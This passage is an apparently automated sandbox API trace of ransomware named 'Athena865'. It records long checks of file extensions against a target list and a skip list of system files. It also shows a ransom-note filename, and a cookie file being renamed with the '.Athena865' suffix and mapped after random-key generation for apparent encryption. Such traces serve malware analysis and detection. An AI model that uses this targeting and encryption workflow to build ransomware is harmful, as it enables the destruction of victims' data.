(lpString1="txt", lpString2="dbt") returned 1 [0100.974] lstrlenW (lpString="dbv") returned 3 [0100.974] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1 [0100.974] lstrlenW (lpString="dbx") returned 3 [0100.974] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1 [0100.974] lstrlenW (lpString="dcb") returned 3 [0100.974] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1 [0100.974] lstrlenW (lpString="dct") returned 3 [0100.974] lstrcmpiW (lpString1="txt", lpString2="dct") returned 1 [0100.974] lstrlenW (lpString="dcx") returned 3 [0100.974] lstrcmpiW (lpString1="txt", lpString2="dcx") returned 1 [0100.974] lstrlenW (lpString="ddl") returned 3 [0100.974] lstrcmpiW (lpString1="txt", lpString2="ddl") returned 1 [0100.974] lstrlenW (lpString="dlis") returned 4 [0100.975] lstrcmpiW (lpString1=".txt", lpString2="dlis") returned -1 [0100.975] lstrlenW (lpString="dp1") returned 3 [0100.975] lstrcmpiW (lpString1="txt", lpString2="dp1") returned 1 [0100.975] lstrlenW (lpString="dqy") returned 3 [0100.975] lstrcmpiW (lpString1="txt", lpString2="dqy") returned 1 [0100.975] lstrlenW (lpString="dsk") returned 3 [0100.975] lstrcmpiW (lpString1="txt", lpString2="dsk") returned 1 [0100.975] lstrlenW (lpString="dsn") returned 3 [0100.975] lstrcmpiW (lpString1="txt", lpString2="dsn") returned 1 [0100.975] lstrlenW (lpString="dtsx") returned 4 [0100.975] lstrcmpiW (lpString1=".txt", lpString2="dtsx") returned -1 [0100.975] lstrlenW (lpString="dxl") returned 3 [0100.975] lstrcmpiW (lpString1="txt", lpString2="dxl") returned 1 [0100.975] lstrlenW (lpString="eco") returned 3 [0100.975] lstrcmpiW (lpString1="txt", lpString2="eco") returned 1 [0100.975] lstrlenW (lpString="ecx") returned 3 [0100.975] lstrcmpiW (lpString1="txt", lpString2="ecx") returned 1 [0100.975] lstrlenW (lpString="edb") returned 3 [0100.975] lstrcmpiW (lpString1="txt", lpString2="edb") returned 1 [0100.975] lstrlenW (lpString="epim") returned 4 [0100.975] lstrcmpiW (lpString1=".txt", lpString2="epim") returned -1 [0100.975] lstrlenW (lpString="fcd") returned 3 [0100.975] lstrcmpiW (lpString1="txt", lpString2="fcd") returned 1 [0100.975] lstrlenW (lpString="fdb") returned 3 [0100.975] lstrcmpiW (lpString1="txt", lpString2="fdb") returned 1 [0100.975] lstrlenW (lpString="fic") returned 3 [0100.975] lstrcmpiW (lpString1="txt", lpString2="fic") returned 1 [0100.975] lstrlenW (lpString="flexolibrary") returned 12 [0100.975] lstrcmpiW (lpString1="ition[2].txt", lpString2="flexolibrary") returned 1 [0100.975] lstrlenW (lpString="fm5") returned 3 [0100.975] lstrcmpiW (lpString1="txt", lpString2="fm5") returned 1 [0100.975] lstrlenW (lpString="fmp") returned 3 [0100.975] lstrcmpiW (lpString1="txt", lpString2="fmp") returned 1 [0100.975] lstrlenW (lpString="fmp12") returned 5 [0100.976] lstrcmpiW (lpString1="].txt", lpString2="fmp12") returned -1 [0100.976] lstrlenW (lpString="fmpsl") returned 5 [0100.976] lstrcmpiW (lpString1="].txt", lpString2="fmpsl") returned -1 [0100.976] lstrlenW (lpString="fol") returned 3 [0100.976] lstrcmpiW (lpString1="txt", lpString2="fol") returned 1 [0100.976] lstrlenW (lpString="fp3") returned 3 [0100.976] lstrcmpiW (lpString1="txt", lpString2="fp3") returned 1 [0100.976] lstrlenW (lpString="fp4") returned 3 [0100.976] lstrcmpiW (lpString1="txt", lpString2="fp4") returned 1 [0100.976] lstrlenW (lpString="fp5") returned 3 [0100.976] lstrcmpiW (lpString1="txt", lpString2="fp5") returned 1 [0100.976] lstrlenW (lpString="fp7") returned 3 [0100.976] lstrcmpiW (lpString1="txt", lpString2="fp7") returned 1 [0100.976] lstrlenW (lpString="fpt") returned 3 [0100.976] lstrcmpiW (lpString1="txt", lpString2="fpt") returned 1 [0100.976] lstrlenW (lpString="frm") returned 3 [0100.976] lstrcmpiW (lpString1="txt", lpString2="frm") returned 1 [0100.976] lstrlenW (lpString="gdb") returned 3 [0100.976] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0100.976] lstrlenW (lpString="gdb") returned 3 [0100.976] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0100.976] lstrlenW (lpString="grdb") returned 4 [0100.976] lstrcmpiW (lpString1=".txt", lpString2="grdb") returned -1 [0100.976] lstrlenW (lpString="gwi") returned 3 [0100.976] lstrcmpiW (lpString1="txt", lpString2="gwi") returned 1 [0100.976] lstrlenW (lpString="hdb") returned 3 [0100.976] lstrcmpiW (lpString1="txt", lpString2="hdb") returned 1 [0100.976] lstrlenW (lpString="his") returned 3 [0100.976] lstrcmpiW (lpString1="txt", lpString2="his") returned 1 [0100.976] lstrlenW (lpString="ib") returned 2 [0100.976] lstrcmpiW (lpString1="xt", lpString2="ib") returned 1 [0100.976] lstrlenW (lpString="idb") returned 3 [0100.976] lstrcmpiW (lpString1="txt", lpString2="idb") returned 1 [0100.977] lstrlenW (lpString="ihx") returned 3 [0100.977] lstrcmpiW (lpString1="txt", lpString2="ihx") returned 1 [0100.977] lstrlenW (lpString="itdb") returned 4 [0100.977] lstrcmpiW (lpString1=".txt", lpString2="itdb") returned -1 [0100.977] lstrlenW (lpString="itw") returned 3 [0100.977] lstrcmpiW (lpString1="txt", lpString2="itw") returned 1 [0100.977] lstrlenW (lpString="jet") returned 3 [0100.977] lstrcmpiW (lpString1="txt", lpString2="jet") returned 1 [0100.977] lstrlenW (lpString="jtx") returned 3 [0100.977] lstrcmpiW (lpString1="txt", lpString2="jtx") returned 1 [0100.977] lstrlenW (lpString="kdb") returned 3 [0100.977] lstrcmpiW (lpString1="txt", lpString2="kdb") returned 1 [0100.977] lstrlenW (lpString="kexi") returned 4 [0100.977] lstrcmpiW (lpString1=".txt", lpString2="kexi") returned -1 [0100.977] lstrlenW (lpString="kexic") returned 5 [0100.977] lstrcmpiW (lpString1="].txt", lpString2="kexic") returned -1 [0100.977] lstrlenW (lpString="kexis") returned 5 [0100.977] lstrcmpiW (lpString1="].txt", lpString2="kexis") returned -1 [0100.977] lstrlenW (lpString="lgc") returned 3 [0100.977] lstrcmpiW (lpString1="txt", lpString2="lgc") returned 1 [0100.977] lstrlenW (lpString="lwx") returned 3 [0100.977] lstrcmpiW (lpString1="txt", lpString2="lwx") returned 1 [0100.977] lstrlenW (lpString="maf") returned 3 [0100.977] lstrcmpiW (lpString1="txt", lpString2="maf") returned 1 [0100.977] lstrlenW (lpString="maq") returned 3 [0100.977] lstrcmpiW (lpString1="txt", lpString2="maq") returned 1 [0100.977] lstrlenW (lpString="mar") returned 3 [0100.977] lstrcmpiW (lpString1="txt", lpString2="mar") returned 1 [0100.977] lstrlenW (lpString="marshal") returned 7 [0100.977] lstrcmpiW (lpString1="[2].txt", lpString2="marshal") returned -1 [0100.977] lstrlenW (lpString="mas") returned 3 [0100.977] lstrcmpiW (lpString1="txt", lpString2="mas") returned 1 [0100.977] lstrlenW (lpString="mav") returned 3 [0100.977] lstrcmpiW (lpString1="txt", lpString2="mav") returned 1 [0100.978] lstrlenW (lpString="maw") returned 3 [0100.978] lstrcmpiW (lpString1="txt", lpString2="maw") returned 1 [0100.978] lstrlenW (lpString="mdbhtml") returned 7 [0100.978] lstrcmpiW (lpString1="[2].txt", lpString2="mdbhtml") returned -1 [0100.978] lstrlenW (lpString="mdn") returned 3 [0100.978] lstrcmpiW (lpString1="txt", lpString2="mdn") returned 1 [0100.978] lstrlenW (lpString="mdt") returned 3 [0100.978] lstrcmpiW (lpString1="txt", lpString2="mdt") returned 1 [0100.978] lstrlenW (lpString="mfd") returned 3 [0100.978] lstrcmpiW (lpString1="txt", lpString2="mfd") returned 1 [0100.978] lstrlenW (lpString="mpd") returned 3 [0100.978] lstrcmpiW (lpString1="txt", lpString2="mpd") returned 1 [0100.978] lstrlenW (lpString="mrg") returned 3 [0100.978] lstrcmpiW (lpString1="txt", lpString2="mrg") returned 1 [0100.978] lstrlenW (lpString="mud") returned 3 [0100.978] lstrcmpiW (lpString1="txt", lpString2="mud") returned 1 [0100.978] lstrlenW (lpString="mwb") returned 3 [0100.978] lstrcmpiW (lpString1="txt", lpString2="mwb") returned 1 [0100.978] lstrlenW (lpString="myd") returned 3 [0100.978] lstrcmpiW (lpString1="txt", lpString2="myd") returned 1 [0100.978] lstrlenW (lpString="ndf") returned 3 [0100.978] lstrcmpiW (lpString1="txt", lpString2="ndf") returned 1 [0100.978] lstrlenW (lpString="nnt") returned 3 [0100.978] lstrcmpiW (lpString1="txt", lpString2="nnt") returned 1 [0100.978] lstrlenW (lpString="nrmlib") returned 6 [0100.978] lstrcmpiW (lpString1="2].txt", lpString2="nrmlib") returned -1 [0100.978] lstrlenW (lpString="ns2") returned 3 [0100.978] lstrcmpiW (lpString1="txt", lpString2="ns2") returned 1 [0100.978] lstrlenW (lpString="ns3") returned 3 [0100.978] lstrcmpiW (lpString1="txt", lpString2="ns3") returned 1 [0100.978] lstrlenW (lpString="ns4") returned 3 [0100.978] lstrcmpiW (lpString1="txt", lpString2="ns4") returned 1 [0100.978] lstrlenW (lpString="nsf") returned 3 [0100.979] lstrcmpiW (lpString1="txt", lpString2="nsf") returned 1 [0100.979] lstrlenW (lpString="nv") returned 2 [0100.979] lstrcmpiW (lpString1="xt", lpString2="nv") returned 1 [0100.979] lstrlenW (lpString="nv2") returned 3 [0100.979] lstrcmpiW (lpString1="txt", lpString2="nv2") returned 1 [0100.979] lstrlenW (lpString="nwdb") returned 4 [0100.979] lstrcmpiW (lpString1=".txt", lpString2="nwdb") returned -1 [0100.979] lstrlenW (lpString="nyf") returned 3 [0100.979] lstrcmpiW (lpString1="txt", lpString2="nyf") returned 1 [0100.979] lstrlenW (lpString="odb") returned 3 [0100.979] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0100.979] lstrlenW (lpString="odb") returned 3 [0100.979] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0100.979] lstrlenW (lpString="oqy") returned 3 [0100.979] lstrcmpiW (lpString1="txt", lpString2="oqy") returned 1 [0100.979] lstrlenW (lpString="ora") returned 3 [0100.979] lstrcmpiW (lpString1="txt", lpString2="ora") returned 1 [0100.979] lstrlenW (lpString="orx") returned 3 [0100.979] lstrcmpiW (lpString1="txt", lpString2="orx") returned 1 [0100.979] lstrlenW (lpString="owc") returned 3 [0100.979] lstrcmpiW (lpString1="txt", lpString2="owc") returned 1 [0100.979] lstrlenW (lpString="p96") returned 3 [0100.979] lstrcmpiW (lpString1="txt", lpString2="p96") returned 1 [0100.979] lstrlenW (lpString="p97") returned 3 [0100.979] lstrcmpiW (lpString1="txt", lpString2="p97") returned 1 [0100.979] lstrlenW (lpString="pan") returned 3 [0100.979] lstrcmpiW (lpString1="txt", lpString2="pan") returned 1 [0100.979] lstrlenW (lpString="pdb") returned 3 [0100.979] lstrcmpiW (lpString1="txt", lpString2="pdb") returned 1 [0100.979] lstrlenW (lpString="pdm") returned 3 [0100.979] lstrcmpiW (lpString1="txt", lpString2="pdm") returned 1 [0100.979] lstrlenW (lpString="pnz") returned 3 [0100.979] lstrcmpiW (lpString1="txt", lpString2="pnz") returned 1 [0100.979] lstrlenW (lpString="qry") returned 3 [0100.980] lstrcmpiW (lpString1="txt", lpString2="qry") returned 1 [0100.980] lstrlenW (lpString="qvd") returned 3 [0100.980] lstrcmpiW (lpString1="txt", lpString2="qvd") returned 1 [0100.980] lstrlenW (lpString="rbf") returned 3 [0100.980] lstrcmpiW (lpString1="txt", lpString2="rbf") returned 1 [0100.980] lstrlenW (lpString="rctd") returned 4 [0100.980] lstrcmpiW (lpString1=".txt", lpString2="rctd") returned -1 [0100.980] lstrlenW (lpString="rod") returned 3 [0100.980] lstrcmpiW (lpString1="txt", lpString2="rod") returned 1 [0100.980] lstrlenW (lpString="rodx") returned 4 [0100.980] lstrcmpiW (lpString1=".txt", lpString2="rodx") returned -1 [0100.980] lstrlenW (lpString="rpd") returned 3 [0100.980] lstrcmpiW (lpString1="txt", lpString2="rpd") returned 1 [0100.980] lstrlenW (lpString="rsd") returned 3 [0100.980] lstrcmpiW (lpString1="txt", lpString2="rsd") returned 1 [0100.980] lstrlenW (lpString="sas7bdat") returned 8 [0100.980] lstrcmpiW (lpString1="n[2].txt", lpString2="sas7bdat") returned -1 [0100.980] lstrlenW (lpString="sbf") returned 3 [0100.980] lstrcmpiW (lpString1="txt", lpString2="sbf") returned 1 [0100.980] lstrlenW (lpString="scx") returned 3 [0100.980] lstrcmpiW (lpString1="txt", lpString2="scx") returned 1 [0100.980] lstrlenW (lpString="sdb") returned 3 [0100.980] lstrcmpiW (lpString1="txt", lpString2="sdb") returned 1 [0100.980] lstrlenW (lpString="sdc") returned 3 [0100.980] lstrcmpiW (lpString1="txt", lpString2="sdc") returned 1 [0100.980] lstrlenW (lpString="sdf") returned 3 [0100.980] lstrcmpiW (lpString1="txt", lpString2="sdf") returned 1 [0100.980] lstrlenW (lpString="sis") returned 3 [0100.980] lstrcmpiW (lpString1="txt", lpString2="sis") returned 1 [0100.980] lstrlenW (lpString="spq") returned 3 [0100.980] lstrcmpiW (lpString1="txt", lpString2="spq") returned 1 [0100.980] lstrlenW (lpString="te") returned 2 [0100.980] lstrcmpiW (lpString1="xt", lpString2="te") returned 1 [0100.981] lstrlenW (lpString="teacher") returned 7 [0100.981] lstrcmpiW (lpString1="[2].txt", lpString2="teacher") returned -1 [0100.981] lstrlenW (lpString="tmd") returned 3 [0100.981] lstrcmpiW (lpString1="txt", lpString2="tmd") returned 1 [0100.981] lstrlenW (lpString="tps") returned 3 [0100.981] lstrcmpiW (lpString1="txt", lpString2="tps") returned 1 [0100.981] lstrlenW (lpString="trc") returned 3 [0100.981] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0100.981] lstrlenW (lpString="trc") returned 3 [0100.981] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0100.981] lstrlenW (lpString="trm") returned 3 [0100.981] lstrcmpiW (lpString1="txt", lpString2="trm") returned 1 [0100.981] lstrlenW (lpString="udb") returned 3 [0100.981] lstrcmpiW (lpString1="txt", lpString2="udb") returned -1 [0100.981] lstrlenW (lpString="udl") returned 3 [0100.981] lstrcmpiW (lpString1="txt", lpString2="udl") returned -1 [0100.981] lstrlenW (lpString="usr") returned 3 [0100.981] lstrcmpiW (lpString1="txt", lpString2="usr") returned -1 [0100.981] lstrlenW (lpString="v12") returned 3 [0100.981] lstrcmpiW (lpString1="txt", lpString2="v12") returned -1 [0100.981] lstrlenW (lpString="vis") returned 3 [0100.981] lstrcmpiW (lpString1="txt", lpString2="vis") returned -1 [0100.981] lstrlenW (lpString="vpd") returned 3 [0100.981] lstrcmpiW (lpString1="txt", lpString2="vpd") returned -1 [0100.981] lstrlenW (lpString="vvv") returned 3 [0100.982] lstrcmpiW (lpString1="txt", lpString2="vvv") returned -1 [0100.982] lstrlenW (lpString="wdb") returned 3 [0100.982] lstrcmpiW (lpString1="txt", lpString2="wdb") returned -1 [0100.982] lstrlenW (lpString="wmdb") returned 4 [0100.982] lstrcmpiW (lpString1=".txt", lpString2="wmdb") returned -1 [0100.982] lstrlenW (lpString="wrk") returned 3 [0100.982] lstrcmpiW (lpString1="txt", lpString2="wrk") returned -1 [0100.982] lstrlenW (lpString="xdb") returned 3 [0100.982] lstrcmpiW (lpString1="txt", lpString2="xdb") returned -1 [0100.982] lstrlenW (lpString="xld") returned 3 [0100.982] lstrcmpiW (lpString1="txt", lpString2="xld") returned -1 [0100.982] lstrlenW (lpString="xmlff") returned 5 [0100.982] lstrcmpiW (lpString1="].txt", lpString2="xmlff") returned -1 [0100.982] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.Athena865") returned 112 [0100.982] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.athena865"), dwFlags=0x1) returned 1 [0100.983] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0100.983] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=102) returned 1 [0100.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0100.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0100.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0100.984] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0100.984] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.984] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0100.984] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x370, lpName=0x0) returned 0x17c [0100.993] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x370) returned 0x100000 [0100.994] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0100.994] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.994] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0100.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0100.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0100.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0100.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0100.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0100.995] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0100.995] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x544058 [0100.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0100.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544058 | out: hHeap=0x4f0000) returned 1 [0100.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0100.995] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0100.995] CloseHandle (hObject=0x17c) returned 1 [0100.995] CloseHandle (hObject=0x154) returned 1 [0100.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0100.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0100.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0100.995] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf73d210, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf73d210, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf73d210, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", cAlternateFileName="5P2CBA~1.TXT")) returned 1 [0100.995] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.995] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.996] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2=".") returned 1 [0100.996] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2="..") returned 1 [0100.996] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2="windows") returned -1 [0100.996] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2="bootmgr") returned -1 [0100.996] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2="temp") returned -1 [0100.996] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2="pagefile.sys") returned -1 [0100.996] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2="boot") returned -1 [0100.996] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2="ids.txt") returned -1 [0100.996] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2="ntuser.dat") returned -1 [0100.996] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2="perflogs") returned -1 [0100.996] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2="MSBuild") returned -1 [0100.996] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adformdsp[1].txt") returned 37 [0100.996] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@adformdsp[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt") returned="5p5nrgjn0js_halpmcxz@adformdsp[1].txt" [0100.996] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adformdsp[1].txt") returned 37 [0100.996] lstrlenW (lpString="Athena865") returned 9 [0100.996] lstrcmpiW (lpString1="sp[1].txt", lpString2="Athena865") returned 1 [0100.996] lstrlenW (lpString=".dll") returned 4 [0100.996] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2=".dll") returned 1 [0100.996] lstrlenW (lpString=".lnk") returned 4 [0100.996] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2=".lnk") returned 1 [0100.996] lstrlenW (lpString=".ini") returned 4 [0100.996] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2=".ini") returned 1 [0100.996] lstrlenW (lpString=".sys") returned 4 [0100.996] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2=".sys") returned 1 [0100.996] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adformdsp[1].txt") returned 37 [0100.996] lstrlenW (lpString="bak") returned 3 [0100.996] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1 [0100.996] lstrlenW (lpString="ba_") returned 3 [0100.997] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1 [0100.997] lstrlenW (lpString="dbb") returned 3 [0100.997] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1 [0100.997] lstrlenW (lpString="vmdk") returned 4 [0100.997] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1 [0100.997] lstrlenW (lpString="rar") returned 3 [0100.997] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1 [0100.997] lstrlenW (lpString="zip") returned 3 [0100.997] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1 [0100.997] lstrlenW (lpString="tgz") returned 3 [0100.997] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1 [0100.997] lstrlenW (lpString="vbox") returned 4 [0100.997] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1 [0100.997] lstrlenW (lpString="vdi") returned 3 [0100.997] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1 [0100.997] lstrlenW (lpString="vhd") returned 3 [0100.997] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1 [0100.997] lstrlenW (lpString="vhdx") returned 4 [0100.997] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1 [0100.997] lstrlenW (lpString="avhd") returned 4 [0100.997] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1 [0100.997] lstrlenW (lpString="db") returned 2 [0100.997] lstrcmpiW (lpString1="xt", lpString2="db") returned 1 [0100.997] lstrlenW (lpString="db2") returned 3 [0100.997] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1 [0100.997] lstrlenW (lpString="db3") returned 3 [0100.997] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1 [0100.997] lstrlenW (lpString="dbf") returned 3 [0100.997] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1 [0100.997] lstrlenW (lpString="mdf") returned 3 [0100.997] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1 [0100.997] lstrlenW (lpString="mdb") returned 3 [0100.998] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1 [0100.998] lstrlenW (lpString="sql") returned 3 [0100.998] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1 [0100.998] lstrlenW (lpString="sqlite") returned 6 [0100.998] lstrcmpiW (lpString1="1].txt", lpString2="sqlite") returned -1 [0100.998] lstrlenW (lpString="sqlite3") returned 7 [0100.998] lstrcmpiW (lpString1="[1].txt", lpString2="sqlite3") returned -1 [0100.998] lstrlenW (lpString="sqlitedb") returned 8 [0100.998] lstrcmpiW (lpString1="p[1].txt", lpString2="sqlitedb") returned -1 [0100.998] lstrlenW (lpString="xml") returned 3 [0100.998] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1 [0100.998] lstrlenW (lpString="$er") returned 3 [0100.998] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1 [0100.998] lstrlenW (lpString="4dd") returned 3 [0100.998] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1 [0100.998] lstrlenW (lpString="4dl") returned 3 [0100.998] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1 [0100.998] lstrlenW (lpString="^^^") returned 3 [0100.998] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1 [0100.998] lstrlenW (lpString="abs") returned 3 [0100.998] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1 [0100.998] lstrlenW (lpString="abx") returned 3 [0100.998] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1 [0100.998] lstrlenW (lpString="accdb") returned 5 [0100.998] lstrcmpiW (lpString1="].txt", lpString2="accdb") returned -1 [0100.998] lstrlenW (lpString="accdc") returned 5 [0100.998] lstrcmpiW (lpString1="].txt", lpString2="accdc") returned -1 [0100.998] lstrlenW (lpString="accde") returned 5 [0100.998] lstrcmpiW (lpString1="].txt", lpString2="accde") returned -1 [0100.998] lstrlenW (lpString="accdr") returned 5 [0100.998] lstrcmpiW (lpString1="].txt", lpString2="accdr") returned -1 [0100.998] lstrlenW (lpString="accdt") returned 5 [0100.999] lstrcmpiW (lpString1="].txt", lpString2="accdt") returned -1 [0100.999] lstrlenW (lpString="accdw") returned 5 [0100.999] lstrcmpiW (lpString1="].txt", lpString2="accdw") returned -1 [0100.999] lstrlenW (lpString="accft") returned 5 [0100.999] lstrcmpiW (lpString1="].txt", lpString2="accft") returned -1 [0100.999] lstrlenW (lpString="adb") returned 3 [0100.999] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0100.999] lstrlenW (lpString="adb") returned 3 [0100.999] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0100.999] lstrlenW (lpString="ade") returned 3 [0100.999] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1 [0100.999] lstrlenW (lpString="adf") returned 3 [0100.999] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1 [0100.999] lstrlenW (lpString="adn") returned 3 [0100.999] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1 [0100.999] lstrlenW (lpString="adp") returned 3 [0100.999] lstrcmpiW (lpString1="txt", 